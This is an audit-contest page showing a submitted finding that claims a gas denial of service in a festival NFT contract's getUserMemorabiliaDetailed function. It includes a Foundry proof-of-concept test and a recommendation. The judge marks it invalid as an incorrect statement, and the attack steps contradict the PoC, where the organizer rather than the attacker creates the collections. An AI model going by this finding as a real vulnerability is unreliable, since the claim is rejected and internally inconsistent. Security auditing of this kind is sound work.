Beatland Festival

AI First Flight #4
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Impact: medium
Likelihood: medium
Invalid

M-02: getUserMemorabiliaDetailed Unbounded Nested Loops

Description:
The getUserMemorabiliaDetailed() function uses three nested loops to iterate over collections, items, and quantities. With no upper bound on iterations, this creates a DoS vector for any external caller.

Attack Vector:

  1. Attacker creates many collections with many items

  2. Attacker calls getUserMemorabiliaDetailed(userId)

  3. Function runs out of gas due to unbounded loops

  4. External integrations (frontends, other contracts) cannot read user memorabilia

Economic Impact:

  • DoS on read callers

  • External integrations frozen

  • Frontend cannot display user memorabilia

Root Cause:
No upper bound on loop iterations (lines 225-240).

Proof of Concept:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {FestivalPass} from "../src/FestivalPass.sol";
import {BeatToken} from "../src/BeatToken.sol";
contract POC_AllFindings is Test {
FestivalPass public festival;
BeatToken public beat;
address public owner;
address public organizer;
address public attacker;
address public user1;
address public user2;
uint256 constant GENERAL_PRICE = 0.05 ether;
uint256 constant VIP_PRICE = 0.1 ether;
uint256 constant BACKSTAGE_PRICE = 0.25 ether;
function setUp() public {
owner = address(this);
organizer = makeAddr("organizer");
attacker = makeAddr("attacker");
user1 = makeAddr("user1");
user2 = makeAddr("user2");
beat = new BeatToken();
festival = new FestivalPass(address(beat), organizer);
beat.setFestivalContract(address(festival));
vm.startPrank(organizer);
festival.configurePass(1, GENERAL_PRICE, 5000);
festival.configurePass(2, VIP_PRICE, 1000);
festival.configurePass(3, BACKSTAGE_PRICE, 100);
vm.stopPrank();
vm.deal(attacker, 100 ether);
vm.deal(user1, 100 ether);
vm.deal(user2, 100 ether);
}
function test_POC_M02_UnboundedGas() public {
// Step 1: Create 20 collections with 10 items each
vm.startPrank(organizer);
for (uint256 i = 0; i < 20; i++) {
festival.createMemorabiliaCollection(
string(abi.encodePacked("Collection", i)),
string(abi.encodePacked("ipfs://col", i)),
10e18,
10,
true
);
}
vm.stopPrank();
// Step 2: Give attacker lots of BEAT tokens
vm.prank(address(festival));
beat.mint(attacker, 2000e18);
// Step 3: Attacker redeems 1 item from each collection (20 items)
vm.startPrank(attacker);
for (uint256 i = 100; i < 120; i++) {
festival.redeemMemorabilia(i);
}
vm.stopPrank();
// Step 4: Try to call getUserMemorabiliaDetailed — should use lots of gas
uint256 gasLeft = gasleft();
try festival.getUserMemorabiliaDetailed(attacker) returns (
uint256[] memory,
uint256[] memory,
uint256[] memory
) {
uint256 gasUsed = gasLeft - gasleft();
console.log("=== M-02: UNBOUNDED GAS EXPLOIT ===");
console.log("getUserMemorabiliaDetailed used", gasUsed, "gas for 20 items across 20 collections");
console.log("Gas per item:", gasUsed / 20);
console.log("VULNERABILITY: Unbounded nested loops can DoS external integrations");
} catch {
console.log("=== M-02: UNBOUNDED GAS EXPLOIT ===");
console.log("getUserMemorabiliaDetailed REVERTED - DoS confirmed");
console.log("VULNERABILITY: Unbounded nested loops DoS external callers");
}
}

Recommendation:
Add pagination or upper bound: require(numCollections <= MAX_COLLECTIONS, "Too many collections");

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!